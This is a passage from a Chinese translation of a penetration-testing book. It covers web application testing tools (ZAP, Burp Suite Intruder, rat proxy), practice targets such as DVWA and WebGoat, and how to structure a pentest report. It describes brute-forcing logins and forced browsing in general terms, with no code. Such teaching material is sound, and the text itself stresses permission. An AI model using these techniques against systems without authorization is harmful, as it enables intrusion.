虽然这是一项非常有价值的技术,但是使用起来也非常繁琐,尤其是对于来回传输大量请求的更复杂的 Web 应用程序。不断地将许多请求传递到不同的站点,包括分析页面,只是为了得到您确实想要操作的一个请求,这可能需要做大量的工作。使用自动化工具可能会比手动完成所有这些工作容易得多。有许多商业工具可以用来进行 Web 应用程序测试,但是也有免费的、开源的、低成本的替代工具,稍后会详细介绍。除了这些可以用来执行大量测试的自动化工具之外,还有一些程序可以在您浏览站点时,简单地位于您和执行测试的服务器之间。在某些情况下,这可能与您已经用来执行大量自动化扫描和测试的工具相同。然而,情况并非总是如此。

最后,您可能会对您的目标服务器进行模糊攻击。模糊攻击是一种向服务器发送意外或格式错误的请求,以查看应用程序如何处理它们的方式。您可以破坏应用程序,或者只是收集一些关于服务器或应用程序的附加信息,这些信息可用于其他攻击。

自动化工具

手动测试可能非常乏味,尤其是当您正在测试的 Web 应用程序具有任何规模时。在测试过程中,你需要得到一个网站上所有页面的完整列表。这个过程通常被称为爬行。你当然可以自己点击一个网站上的所有页面并记下来,但是让别人帮你做要容易得多。自动化工具将使这一过程变得更加容易。有许多程序或套件可以用来为您执行一些初始工作。这些工具包括商业工具和开源工具。虽然这些程序做的事情本质上是相同的,但是它们以不同的方式执行。你可以把它想成有不同的工作流程,你可能会发现一个比另一个更适合你的工作方式。

开放 Web 应用安全项目(OWASP)有一个 Web 应用测试工具,叫做 Zed 攻击代理(ZAP)。ZAP 充当代理,这意味着它拦截来自 Web 浏览器的请求,这些浏览器已经配置为使用 ZAP 作为 Web 代理,以便可以操纵这些请求。图 6-5 显示 Firefox 被配置为使用 ZAP 作为代理。一旦您在浏览器中配置了代理设置,来自浏览器的所有 Web 请求都将被发送到代理,以便转发到请求要到达的服务器。

A417535_1_En_6_Fig5_HTML.jpg

图 6-5。

Proxy settings in Firefox

ZAP 不仅仅处理来自网络浏览器的请求。它也可以用来自己发起请求。ZAP 可以用来测试已知的漏洞,包括前面提到的那些。它通过向 Web 服务器发起请求,然后分析响应来做到这一点。除了在站点上运行主动扫描或蜘蛛,正如您在图 6-6 的上下文菜单中看到的,您还可以进行强制浏览。这意味着 ZAP 将试图定位网站中任何页面都不涉及的目录和文件。不提供页面链接可能是一种对搜索它的人隐藏它的方式。强制浏览将试图定位这些隐藏的测试资源。

A417535_1_En_6_Fig6_HTML.jpg

图 6-6。

Using OWASP ZAP to attack

在图 6-6 中,您可以在窗口的下部看到一些扫描结果。发现有问题的请求会被标记出来。为了识别漏洞,ZAP 依赖于来自 Web 服务器的响应,包括错误代码和搜索响应中的特定单词。显示的一些请求被标记为中等风险问题,而其他请求被标记为低风险问题。与 Nessus 和 Nexpose 等自动漏洞扫描器一样,您需要手动验证 ZAP 识别的是有效的漏洞。

虽然有许多高价位的商业扫描仪,但有一种低价扫描仪有免费版本,而且功能很多,那就是 Burp Suite。Burp Suite 提供了一些非常好的功能,这是其他扫描仪无法以完全相同的方式提供的。其中之一是入侵者功能,它为您提供了一种以独特的方式与 Web 服务器进行交互的方式。您可以让 Burp Suite 将一个值列表传递到 Web 应用程序中,以便(例如)尝试暴力登录。在同一个功能中,Burp Suite 提供了许多不同的方法来操作传递给应用程序的值。使用入侵者,选择您希望 Burp Suite 操作的参数,如图 6-7 所示。

A417535_1_En_6_Fig7_HTML.jpg

图 6-7。

Selecting parameters in Burp Suite

Burp 允许您获取它有记录的任何请求,并将该请求发送给入侵者函数。原始请求被发送到“入侵者”选项卡,在这里您可以对请求进行更改,然后选择参数。当您添加一个参数时,Burp 会用一个突出显示的参数名称替换请求中的原始值,并创建一个可以填充变量数据的位置。您将需要“有效负载”标签中的参数值。Burp 提供了许多不同的攻击类型,具体取决于您要替换多少个值,以及您是否希望使用不同的有效负载分别检查它们。以下是 Burp Suite 提供的攻击类型:

  • 狙击手——这是一种使用单一有效载荷的攻击。如果有多个位置正在测试,所有位置都将在选定有效负载的情况下一次测试一个。
  • 攻城锤——这种攻击也是单一有效载荷攻击。如果有多个位置,每个有效负载选项将同时放入所有位置,并发出请求。
  • pitchfork–pitchfork 攻击使用多个有效载荷,其中每个位置都用指定有效载荷集中的新有效载荷值同时测试。
  • 集束炸弹——集束炸弹攻击也使用多种有效载荷,但不是同时测试每个位置,这是一种组合攻击。如果您有三个位置要测试,那么您将遍历有效载荷集中这三个位置的所有可能组合。使用这种方法并不是检查特定的应用程序如何响应无效的输入,而是检查应用程序如何响应输入集合。这种攻击是您尝试暴力登录时会选择的攻击,因为您希望对照每个密码检查每个用户名。

选择有效载荷后,有许多预定义的有效载荷集,或者您可以创建自己的您也可以选择任何操作,或有效载荷处理规则,您希望 Burp 对有效载荷进行处理。您可以使用这些操作进行更改,比如改变大小写、执行编码或解码,或者对发送到服务器的请求进行其他更改。在图 6-8 中,你可以看到可以添加到入侵者攻击中的有效载荷处理选项列表。

A417535_1_En_6_Fig8_HTML.jpg

图 6-8。

Payload processing options in Burp Suite

当然,Burp 和 ZAP 都有很多这里没有提到的其他功能。当您使用这些工具或任何其他商业和开源测试工具继续深入 Web 应用程序测试时,您会发现您看到的是更高级的功能,例如更复杂的入侵者功能或 ZAP 的模糊功能。顺便说一下,这里提到的两个工具的一个优点是它们都可以在多个平台上运行,因为它们都是用 Java 编写的。如果你的系统支持 Java,它将运行这些程序。

不要因为扫描仪报告有问题就认为实际上有问题。在某些情况下,扫描器可能会出于完全良性的原因查看响应中存在的一段文本。在你报告发现之前,一定要核实你所发现的。您可以通过查看扫描仪的操作并尝试重复它来手动完成此操作,或者也可以像重新运行攻击一样简单。像 Burp 和 ZAP 这样的工具可以让你重放一个特定的请求,这样你就可以实时看到它做了什么。这些工具为您提供请求和响应。总是可视化地查看响应,这可能需要使用工具或外部浏览器来呈现响应,以便您可以看到行为,而不是试图可视化地解析大量的 HTML 和 Javascript。

被动扫描

像 ZAP 和 Burp Suite 这样的扫描仪很棒。他们有一个他们了解的攻击列表,他们将对目标运行这些攻击,看看会发生什么,以便确定是否存在漏洞。但是,当它们运行扫描时,噪音会很大。这意味着他们发送大量的流量到网站非常快。这意味着测试可以被检测到,这可能不是你想要发生的。另一种针对 Web 应用程序的方法是使用被动扫描器,如 rat proxy。Rat proxy 由专门研究被动扫描技术的 Michal Zalewski 编写。Zalewski 认为,无需执行任何攻击或发送任何可能泄露您正在做什么的流量,就可以确定目标的许多信息。他还有另外一个工具,叫做 p0f,可以用来评估网络流量。顾名思义,Rat proxy 就像代理一样工作,就像 ZAP 和 Burp Suite 一样。您将浏览器配置为通过 rat 代理运行,并让 rat 代理根据它看到的内容做出一些决定。您可以在图 6-9 中看到一个示例报告。

A417535_1_En_6_Fig9_HTML.jpg

图 6-9。

Rat Proxy report sample

Rat proxy 确定与发现相关的潜在风险,然后向您提供一些想法,说明它为什么将特定请求标识为有问题。为了验证 rat 代理发现,您必须查看报告中提供的跟踪。缺点是,如果你可以这么说的话,rat 代理要工作,你需要通过它发送请求。没有自动抓取或扫描来查看页面。它根据通过它发送的页面进行所有评估。简而言之,为了让 rat 代理工作,您需要与您试图测试的服务器进行交互。

实践网站

在您尝试使用这些工具和技术对付付费客户之前,您可能想在实践环境中尝试一下。幸运的是,有几种方法可以做到这一点。你可以为你的任何操作系统免费获得一个像 Apache 这样的网络服务器,并建立一个你自己的网站。一旦你有了一个网站,你就可以开始填充内容(和漏洞)。或者,您可以对许多开源 Web 应用程序进行测试。任何像 Drupal 或 WordPress 这样的内容管理系统都是一个很好的目标,因为它们有很多潜在的编程元素,你可以与之交互。另外,一般来说,在默认安装中有很多页面,您无需做太多工作就可以使用。

然而,这种方法的问题在于,你可能会付出很多努力,却得不到很多满足感。如果您使用的是最新版本的网络软件,这一点尤为重要。更好的方法是建立一个内置漏洞的网站。幸运的是,这样的网站随处可见。Web Goat 是一个很好的起点,它是一个 Java Web 应用程序,提供了一个研究攻击技术的地方。这有点像教程,因为你可以得到一些提示来帮助你。Web Goat 是 OWASP 提供的,就像 ZAP 一样。Web Goat 还提供了一些案例视频,展示了攻击在 Web Goat 中是如何进行的。这是一个以高度互动的方式学习如何进行网络攻击的好方法。

如果你只是想把一些页面安装到一个 Web 服务器上,这样你就可以使用它们了,这里也有一些选项。一个很好的选择是该死的易受攻击的 Web 应用程序(DVWA)。DVWA 提供了您可以处理的不同类别的攻击类型。DVWA 的一个优点是你可以调整它的安全级别。这使得应用程序更难被利用。如果你从一个低设置开始,你应该能够得到一个非常简单的攻击工作。如果你达到中等强度,你可能需要使用一些躲避技巧来使攻击有效。您还可以在 Web 应用程序上看到入侵检测系统的行为,因为 PHP-IDS 是 DVWA 安装的一部分。bWAPP 是与 DVWA 类似的另一个易受攻击的 Web 应用程序。

谷歌还维护着一个名为 Gruyere 的易受攻击的网络应用。Gruyere 是一种多孔奶酪,只是为了解释名字中的笑话。如果你不想安装和维护你自己的 Web 服务器,Gruyere 可能是一个不错的选择,但是它的组织方式和刚才提到的不一样。没有明确的类别可以让你知道应该尝试哪种攻击类型。相反,如果您在线连接到 Gruyere 应用程序(有一个版本您可以自己安装),您将看到该应用程序的一个实例,并且您必须找到存在的不同漏洞。幸运的是,如果你真的陷入困境,有一些关于这个应用程序的页面会给你一些帮助。

摘要

Web 应用程序无处不在,这就是为什么学习如何攻击它们是如此重要的技能的原因之一。与前几章讨论的其他类型的攻击非常相似,让 Web 应用程序以一种有用的方式崩溃需要来自大量经验的技能,以及大量的反复试验。你当然可以将扫描仪对准网络应用程序,你会得到一些结果,但这些结果可能不是很准确。最好以理解 Web 应用程序架构为起点。并非所有的 Web 应用程序都是以相同的方式设计的,但是您通常可以预期有一个 Web 服务器在端口 80 或端口 443 上处理 HTTP 请求。Web 服务器背后是一些应用程序逻辑。这可以使用运行在 Web 服务器上的语言来完成,比如 PHP,也可以在使用 Java 或。网络语言。在应用程序逻辑的背后通常是一个数据库,其中存储了应用程序的所有持久数据。这可能包括客户信息、登录信息,或者只是应用程序从中提取以生成页面的内容集合。数据库是一切的幕后推手,因为一般来说,数据库是最敏感信息所在的地方,所以它应该是最难访问的系统。

虽然许多攻击归结于不正确地验证用户的输入,但是攻击 Web 应用程序有许多不同的方式,并且不同的攻击可能集中在应用程序体系结构的不同方面。例如,SQL 注入攻击的目标是数据库,而跨站点脚本攻击的目标是客户端或用户。并非所有的攻击类型都是相同的,由于应用程序有如此多的级别,因此很有可能造成混乱并引发问题。

有许多程序可用于执行 Web 应用程序测试。这些包括你的网络浏览器插件,以及本质上是独立测试套件的商业工具。你可以使用低成本或免费的选项,如 ZAP 或 Burp 套件。你的一些决定将归结于你有多少预算和你需要做的有多彻底。随着您获得更多的工作,如果您发现它们更适合您的工作流程以及您对攻击的看法,您可能会升级到更昂贵的工具。最终,最重要的方面是找到你想要的工作方式,因为当你使用这个工具时,你会有一些安慰。当然,您选择的工具还需要能够生成利用漏洞的攻击,要么允许您自己创建它们,要么让工具为您进行攻击。如果你发现一个评价很高的工具,而你对它不是很熟悉,你可能不会像使用一个你很熟悉的工具那样从中获得很多。

幸运的是,当您开始时,有很多选择可以获得用于实践和培训的测试环境。您可以使用安装在您自己系统上的真实、实时的 Web 应用程序,或者您可以抓取故意破坏的 Web 应用程序,以便确保您能够侵入它们。OWASP 维护着这些应用程序的列表,您可以在那里找到您喜欢的应用程序。

最后,在这里需要注意的是,你永远不应该在你没有控制或者没有得到网站运营商的许可去扫描的网站上运行任何主动的测试、扫描或者爬行。未经许可运行这些工具是引起执法机构注意的好方法。永远保持在本地。

练习

  1. 获取一个该死的易受攻击的 Web 应用程序或 Web Goat 的副本,并尝试利用一些内置的漏洞。
  2. 下载 OWASP Zed 攻击代理的副本。使用 ZAP 浏览一些网站,看看它的表现如何。不要运行任何攻击。
  3. 下载一份打嗝套装。浏览一些使用 Burp Suite 的网站,看看它的表现如何。不要运行任何攻击。
  4. 在您控制的系统上安装 Web 应用程序。用 ZAP 用主动扫描攻击它。
  5. 在您控制的系统上安装 Web 应用程序。使用 Burp 套件通过主动扫描来攻击它。

七、报告

在这里挑选一个有意义的陈词滥调。例如,橡胶与路面的交界处。报道是一切真正发生的地方。你可以花几天或几周的时间做实际的测试,但是如果你不报告,那还有什么意义呢?当你试图引起某人的注意,而这个人可能真的能够解决你发现的问题时,你需要做一个专业的陈述,并且能够以非常清晰的方式解释这些问题。以客观的方式传达您的发现非常重要,这样不了解信息安全的人也能理解您所说的内容。他们还需要明确你认为根据你的发现应该做什么。指出如何解决问题是你真正能增加价值的地方。如果你只是把一份报告扔在某人的桌子上,解释他们有很多问题,然后离开,你对他们没有多大帮助,尽管他们会有一份报告,可以用来反对审计。不过,最终,仅仅说他们做了渗透测试以获得审计勾号是没有帮助的。在六个月或一年后,当他们为他们的审计需求再次运行测试时,结果仍然会在那里,一个体面的审计员会注意到这一点。

当然,如果你已经在这个行业工作了一段时间,你会看到一些报告,这些报告提供了很多关于测试人员如何能够访问网络中各种资源的细节。最后,这基本上是徒劳的,因为一旦你进入系统,系统之间可能存在信任问题,这可能会给攻击者带来额外的访问权限。从一个系统跳到另一个系统并不一定意味着存在任何额外的漏洞。这可能只是一个窃取凭证的案例。凭证盗窃是漏洞所在,而不一定是那些相同的凭证可被用来获得对网络核心内的各种服务器的访问的事实。通常,这是按照设计的,因为许多企业组织在其整个基础架构中使用单一用户帐户。在使用 Microsoft Windows 及其活动目录的企业中尤其如此。Active Directory 存储用户凭据,所有需要身份验证的系统和资源通常会对照 Active Directory 进行身份验证。如果您在这样的环境中窃取了用户名和密码,您就可以访问该用户有权访问的任何系统。

最后,重要的是非常清楚具体的漏洞以及如何纠正它们。提供一份华而不实的报告,显示你能够访问几十个系统,这看起来很酷,但是它掩盖了测试过程中真正发生的事情,即使看起来测试人员真的知道他们在做什么。不一定是这样。所以,帮你自己一个忙,确保尽可能包含补救建议。这是能给你的雇主或客户提供最大价值的东西,也是能让他们要求你回报的东西。

多年来,我已经确定了一种单一的报告格式,这种格式非常适用于网络测试、远程测试、基于主机的测试和 Web 应用程序测试。您将要进行的每一种渗透测试或安全评估都归结为一组需要描述的漏洞。每个描述都需要包括您发现漏洞的证据,以及按危险程度对漏洞进行分类的方法。最后,你需要提供补救建议。报告中的其他内容只是设置了肉,这是调查结果。然而,环绕也同样重要。首先,你需要一份执行摘要,因为写检查的人通常不会阅读调查结果,其中包括许多他们没有时间深入研究的技术细节。除此之外,描述你的方法表明你已经考虑过如何工作。它展示了一种科学的方法,意味着你是有条不紊的,并且以一种可以被理解的方式进行测试,并且在需要的时候重复。这意味着,在理想情况下,你不只是向目标扔很多东西,而不知道你在做什么。在某种程度上,这个方法会提供你的凭证。

报告的主要内容通常是调查结果,您需要将调查结果详细化,以便技术人员能够了解已发现的漏洞以及攻击者利用这些漏洞所带来的业务后果。大多数情况下,他们需要知道他们需要做什么来解决问题。最后,你应该在报告的结尾重申测试的重要发现。你也可以包括一些附录作为辅助材料,这些材料太长了,如果不把它们放入报告中,每个人都会被几页输出或其他数据弄糊涂。

接下来的部分将详细说明您应该在这些报告部分中输入什么,以便您最终得到一份易于理解的实质性报告,并提供一份路线图,说明您已经完成了什么以及他们应该为此做些什么。

行动纲要

从某种意义上说,这可能是你报告中最重要的部分,因为这部分向管理层展示了你提供了服务,而且你确实有了一些发现。他们不会自己去读这些发现。因此,您需要在这里提供一个非常简短的总结。报告最好以一两句话开始,解释你做了什么,为什么这么做。优达因推进系统公司于 2016 年 3 月 21 日与 Wubble 咨询公司签约,对内部基础设施系统进行安全评估。这是一个非常简洁的开始方式。你可以用另一句话来跟进,提供有关合约范围的更多细节。你可以再次非常简洁地表明—``—你在那里对所有系统进行安全测试,除了被认为超出范围的任何东西。这是你回到合同的地方。您所签订的合同或协议需要非常具体地说明合约的范围,因此您需要明确是否有您没有通过协议测试的元素。执行管理层可能会有这样的印象,即一切都经过了测试,尽管直线管理层可能已经向您表明,您不应该测试脆弱的基础设施。如果测试是零零碎碎地进行的,也就是说你选择了一个有代表性的样本,指出这一点,并在附录中包括系统。参考这里的附录。

这里有一点很重要。确保突出您发现良好网络安全实践范例的领域。例如,这可能是保持最新的最强加密。如果你发现某件事做得很好,指出来。这可能会产生政治分歧,因为这让你可能合作过的技术团队在他们的管理层看来很好。这也证明了你不仅仅是为了摧毁他们。

通常,在执行摘要中,我会特别指出,我们受到项目条款的时间限制,报告中的调查结果是在该时间段内发现的。它不应该被解释为一个详尽的列表。拥有额外时间和资源的人可能会发现更多漏洞。这让他们明白,如果他们同意报告中的发现,并不意味着他们完全安全。如果它们后来被破坏了,它也在一定程度上保护了你。你已经表明你已经做了你能做的事情,但是这份报告并不能保证这就是他们易受攻击的地方。

一旦您指出了您执行的测试,您就可以指出您遵循的一般方法。例如,您可以表明您遵循了开放源代码安全测试方法(OSSTM ),或者遵循了您自己的测试方法,该方法关注由开放 Web 应用程序安全项目(OWASP)确定的前 20 个常见漏洞。

根据您执行的测试,在此提供特定高风险漏洞的列表或漏洞类别的列表。这可能是一个项目列表,你可以提供一两句话,以非常清晰的方式解释每一项。请记住,报告这一部分的读者可能没有太多的技术经验或理解能力。使用简单明了的英语,阐明对公司及其数据或人力资源的潜在影响。这部分是必不可少的。仅仅说有一些输入验证问题是没有多大帮助的。从影响的角度来看,清楚地表明其中一些问题可能会导致数据损坏或泄漏更容易理解。管理层会理解那里的影响,尤其是如果你弄清楚你指的是哪些数据。这是库存数据、用户名数据还是公司拥有的其他存储?

你也可以选择在这里加入一些表格,对你的发现进行分类。一些高风险调查结果,一些中等风险调查结果,等等。如果你愿意,你也可以进一步分解它。Windows 基础架构中的一些调查结果,台式机中的一些调查结果,设备领域中的一些调查结果,其中可能包括没有面向用户的界面或操作系统的打印机或其他设备。除了表格之外,您还可以包括图表,因为这些图表有助于非常清楚地了解到底发现了什么以及发现的比例。一个红色的大饼条表示高风险项目,通常会引起某人的注意。

理想情况下,你报告的这一部分应该尽可能接近一页纸。考虑到你的听众和你想给人留下的印象,你可能会倾向于在这里提供大量的信息。战胜这种冲动。请记住,只阅读执行摘要的人非常忙。当你进入多个页面时,你的目光会停留在细节上,你会失去它们。你需要非常中肯。如果你能把它控制在一页之内,你就最有可能确保他们会阅读整个摘要。如果你有图形和图表,你可以进入第二页,但任何超出这一页的内容,你将会失去一些人。简直就是大忙人看报告的天性。开门见山,确保包含一些接近行动号召的内容。他们需要为此做些什么?让他们知道能做什么。

从文档格式的角度来看,您可以选择将目录放在执行摘要的后面,这样阅读文档的人就不必为了找到重要部分而跳过它。实际上,您可以选择将摘要导出为独立的文档。这可能对需要向客户或供应商提供某些东西的公司有用,因为他们不想提供报告中的所有细节。除了目录之外,您可能还希望提供图表目录,因为您可能会将屏幕截图作为调查结果的一部分,图表目录是一个很好的参考。

方法学

你不需要在这里详细说明。如果你有一个详细的方法,它可能已经作为合同期的一部分提供给你的客户,或者你可以作为附录或额外的文件提供,以便他们知道。如果您有自己的方法,提供一个高层次的概述可能比提供一些对您或您的组织来说独特的东西更好。有时这些东西可以被用作区别特征,尽管在大多数情况下,组织和测试人员之间的一般方法是相同的。不同之处在于每个测试人员拥有的技能,他们在应用方法时的创造力,以及他们感觉哪里有值得深入挖掘的东西的能力。

你的方法部分应该包括你的一般方法和你所做的一些重点。包括您用作指导的任何测试方法的参考。这可能包括美国国家标准与技术研究所(NIST)的一些文档,以及任何可用的开放测试方法。最后,你可以列出你使用的所有工具。包括版本号,这样您就可以证明您使用的至少是合理的最新版本。如果你使用任何定制工具,你可以在你的方法论中提到它们。这也是一个可以让你脱颖而出的地方。在测试过程中,优秀的测试人员最终会编写一些他们自己的工具,或者为特定的目的开发脚本或程序。毕竟,有些任务确实需要编程方法。举个例子,如果你试图使用一个使用二进制协议的服务器,你将不能在 telnet 或 netcat 会话中输入它。您需要编写一些东西来与能够传输特定二进制编码的服务器进行交互。

你的方法页面很可能就是你会反复使用的页面。这可以是您的样板模板的一部分,当新版本的软件出现时,或者如果您在一个项目中使用了一些不同的工具,您可以更新该模板。随着实践的发展,你也应该更新你的一般方法。

调查的结果

调查结果将是你报告的主要部分,因为这是最重要的方面,将为你客户的技术人员提供最大的价值。虽然前两个部分主要是叙述性的,但在这里您可以考虑将其分解,以便更容易进行可视化解析。这样,读者可以直接跳到他们最感兴趣的部分。你可以选择用一种对你有意义的方式来展示你的信息。我提供了下面的演示风格,这种风格已经在我身上运行了好几年了。每个发现都按照这种格式得到自己的块。一旦我有了所有的发现,我就把它们分成高、中、低风险的发现。然后,我有一个信息表,列出了应该提及但不够有趣的项目,以对完整的发现块进行评级。从文档格式化的角度来看,您可以为每一个关键点设置小节标题。这意味着每个部分在目录中都有一个条目,使它们更容易快速找到,尤其是在报告很长的情况下。

用于关键程度的部分有高、中和低,但这实际上是两个组件的合并,只是为了更容易报告。在确定一个发现的关键程度时,通常会结合使用影响和概率。调查结果的影响是衡量在漏洞被触发或利用时组织可能会发生什么的指标。如果该发现可能导致数据丢失或损坏,则它的影响程度可能会很高。发现服务器名称和版本的信息泄漏可能影响不大。如果有问题的服务器在它运行的版本中有漏洞,那应该是它自己的发现和它自己的影响,这将取决于确切的漏洞是什么。

在这种情况下,我们使用文字而不是数字来评估风险。这通常被称为定性风险评估,因为没有与这些发现相关的硬性数字。这些发现的确切数字可能很难获得,尤其是如果你是一名承包商。如果你是一名员工,并能提供这些调查结果中的一项将导致公司停工或损失的确切数字,你可以用它来证实你所说的话。不过,作为外部人士,你必须做出最佳评估,有时还要与你在客户处的联系人一起进行评估,他们可能会告诉你,一项调查结果的影响真的很小,因为他们更清楚公司面临的风险。

影响的另一个因素是概率。这个真的是最难确定的。计算概率很大程度上依赖于经验。不过,有一些简单的方法可以解决这个问题。如前所述,在提供服务器信息的情况下,我们认为这种情况发生的概率非常高。服务器信息很容易获得。如果有一个 Web 服务器被配置为提供版本号,那么获取该信息是很简单的事情几乎不需要任何技能。如果它出现在网页上的错误消息中,或者有时出现在某些页面的页脚,那么它根本不需要任何技巧。只有阅读的能力。

比如说,在对世界开放的电子邮件服务器存在已知漏洞的情况下,或者存在概念验证利用,或者更糟的是,存在实时利用,这种可能性再次很高。只需要有人下载漏洞并运行它,你就妥协了。在某些情况下,编译或运行漏洞利用代码可能需要一些技巧,但是由于漏洞利用是免费提供的,并且容易获得,因此这种可能性很高。

其他发现可能更难确定其可能性。例如,如果一个 Web 服务器面临拒绝服务攻击,这种可能性有多大?有时,确定概率依赖于可能存在的其他补救措施,因此如果有其他考虑因素,您可以降低概率。例如,您可以为漏洞扫描程序提供凭证,这样它就可以在系统上进行本地认证扫描。也许扫描程序发现了一个本地漏洞,这意味着你必须登录系统才能利用它。这可能是一个权限提升漏洞,普通用户可以获得超级用户权限,因此扫描程序将其标记为严重漏洞。您知道,要利用此漏洞,您必须是经过身份验证的用户,而且您可能还知道,您已经实现了双因素身份验证,并且只有极少数系统管理员拥有此系统的帐户。这肯定是一个需要解决的问题,但是双因素身份验证和有限的帐户数量使得它被利用的可能性大大降低。

一旦我完成了对可能性和影响的评估,我就将它们合并成一个单一的严重等级。做这件事没有单一的方法。当我决定一件事是否分裂时,有不同的影响和概率等级,我倾向于选择影响。如果我有一个影响大、可能性中等的问题,我可能会将其归类为高优先级项目。高/低或低/高的发现通常是中等发现。

在进入所有细节之前,用一个简短的标题来确定问题是有帮助的。如果您用标题格式化文档,您可以用数字和名称来标识每个查找结果,这样它就可以清楚地显示在目录中。通常,对于编号,我会使用一个字母和一个数字。H1 将是第一个高优先级的调查结果,M2 是第二个中等优先级的调查结果,依此类推。一旦你提供了一个名字并计算出它的优先级,你就可以开始填写所有的细节了。

发现

发现是你可以准确描述你发现了什么。像往常一样,这里要简洁明了。这不是一个长篇大论的地方。准确解释漏洞是什么以及它为什么重要。这应该包括如果漏洞被触发会发生什么,以及某种解释,说明您为什么对其进行评级。这里不用担心提供证明。只要清楚地解释问题是什么,为什么它是一个问题。

建议

这是你提供大量价值的地方。确保提供详细的解释,说明他们需要做些什么来解决问题。在某些情况下,你可能只能提供一般性的建议。如果这是一个 Web 应用程序漏洞,这将是典型的。但是,如果是需要更改配置的问题,请提供需要更改的文件和设置的详细信息。

证据

在本节中,提供证明漏洞真实存在的详细信息。您可能有数据包捕获的一部分、一组报头或一些其他证据。这里使用屏幕截图真的很有帮助。视觉证据非常有助于证明你确实看到了你所说的东西。如果你在这里演示了你所做的,这也有助于客户复制它。如果你真的雄心勃勃,你可以录制一些截屏视频来展示你到底做了什么以及结果是什么。你可以将它们保存到 Google Drive 文件夹中,并与你的客户分享这个文件夹,作为一种发送方式。视频不仅仅是截屏,但大多数时候截屏就够了。毕竟,他们不一定需要看到你到底做了什么。他们只是需要一些证据来证明你确实发现了什么。总是提供叙述来解释屏幕截图。不要让屏幕截图为你说话。解释他们在看什么。这里需要叙述有很多原因。证明你知道你做了什么只是其中一个原因。教育你的客户是第二个原因。记住,你增加的价值越多,你就越有可能被收回。

参考

在参考资料部分,您可以提供一些解释该发现的附加资源。这可能包括一个通用漏洞和利用(CVE)链接,提供与供应商无关的漏洞信息。您可以包含一些解释一类攻击的链接,例如与输入验证相关的链接。如果您已经提供了关于如何修复漏洞的具体说明,那么在这里提供更多详细信息的链接会很有用。大多数情况下,这只是一个支持你所说的实质性信息的地方。同样,不要让这里成为你让他们去寻找答案的地方。所有相关的信息都应该在你的报告里。这只是为了支持。

报告的

您可能有信息项。这些可能是各种各样的发现,甚至没有真正上升到低优先级发现的水平。例如,它可能是您在测试过程中注意到但无法复制的东西。既然你已经找到了一次,这很可能是一个问题。除了信息项之外,您还可以包括一组一般性建议。如果你发现了一些主题,这可能是特别真实的。这里提到健壮的更新策略对整体安全状况的重要性可能是有用的。任何你能想到的与你的测试相关的一般性建议都可以放在这里。

摘要

该报告是您将在项目过程中执行的最后一项任务,但可能是最重要的任务。要记住的一件事是,在你离开公司很久以后,你的报告仍然存在。它应该反映你的专业精神和对细节的关注。这是一份组织中任何人都可以查看的报告,也可能与您客户的合作伙伴和客户共享。你希望你的工作能给你带来好的影响。

你可以用任何对你有意义的方式提供你的发现。根据多年来与各种有自己偏好的客户打交道的经验,我最终采用的格式分为以下几类:

  • 行动纲要
  • 方法学
  • 调查的结果
  • 结论

《执行摘要》应简明扼要,提供有关项目的细节以及调查结果的简要概述。此外,请务必在此指出,您受到了时间的限制,因为所有项目都是无期限的。拥有更多时间、资源和奉献精神的人可能会发现其他漏洞。

方法部分展示了你在测试中不仅仅是随意的,而是遵循一个计划。你不需要在这里提供一个测试计划,只需要一个关于测试的基本原理以及你使用的工具列表,包括版本。

调查结果应该是最长的部分,并且应该包括优先顺序,从最高优先级的项目开始,以最低优先级的项目结束。在每项发现中,请确保包括对您发现的内容及其重要性的描述、如何纠正问题的建议,以及您确实发现了该问题的证据。除此之外,你还可以为他们提供更多的参考资料,以防他们想做更多的阅读。

总结部分是你总结一切的地方。无论是在这里还是在执行摘要中,一定要指出你发现的任何做得好的地方。这对你和客户的关系非常有帮助,尽管这看起来很愚蠢,因为你是被雇来找问题的。对他们做得好的方面给予表扬将有助于改善你们的关系,并表明你不仅仅是要摧毁他们,而是要真正帮助他们改善他们的整体安全状况。突出他们擅长的领域可以帮助他们从这些领域学习,然后专注于他们真正需要帮助的其他领域。

posted @ 2024-05-17 13:41  绝不原创的飞龙  阅读(4)  评论(0编辑  收藏  举报